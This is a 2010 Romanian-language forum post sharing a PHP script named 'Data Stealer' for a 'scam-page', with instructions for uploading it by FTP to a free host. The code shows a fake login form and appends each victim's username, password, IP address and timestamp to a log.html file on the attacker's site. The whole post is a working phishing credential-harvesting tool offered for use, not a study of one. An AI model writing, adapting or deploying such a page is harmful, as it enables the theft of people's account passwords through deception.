bobbytza Posted January 5, 2010 Report Posted January 5, 2010 (edited) -Un mic fisier php care se poate folosi in scam-page.-Se face upload cu FTP (preferat SmartFTP)-datele se stocheaza in log.html (va aparea un fisier html pe site langa cel php)-in log gasesti: Nume cont , parola , ip , data si ora.-fisierul log.html il poti sterge prin ftp.-un host bun pentru fisiere php Free Web Hosting, Create a Free Website - T35 Hosting (nu e reclama)[ Dupa ce se completeaza cele 2 campuri (username , password) si dupa ce apasa butonul LOGIN datele se vor salva in site-ul tau. ][ In site-ul tau va aparea un fisier log.html iar in acel fisier vor fi datele salvate. (ex: www.siteultau.com/log.html) ][ Sper ca ati inteles ceva ! ]<?php//Author Name: bobbytza//Data File Construction: 05.01.2010//Contact: d4ubine2008@yahoo.com//Name: Data Stealerfunction san($var){ return htmlentities($var, ENT_QUOTES);}$username = san($_POST['username']);$password = san($_POST['password']);$ip = getenv ('REMOTE_ADDR');$date=date("j F, Y, g:i a");?><form method="post" name="form">Username: <input type="text" name="username" value="<?=$username;?>"SIZE="20" MAXLENGTH="30"><br>Password: <input type="password" name="password" SIZE="20" MAXLENGTH="30"><br><input type="submit" value="Login"></form><?phpif ($_POST['username'] && $_POST['password'] && ('REMOTE_ADDR') && ("j F, Y, g:i a") ){ $fp = fopen("log.html", "a"); $stuff = "<br>" ."Nume cont: " . $username . "<br>" . "Parola: " . $password . "<br>" . "IP: " . $ip . "<br>" . "Data si ora: " . $date . "<br>" . "\n"; fputs($fp, $stuff);} else { echo "Please enter username and password.";}?>Nu am explicat prea bine , sper ca ati inteles !bobbytza Edited January 5, 2010 by bobbytza Quote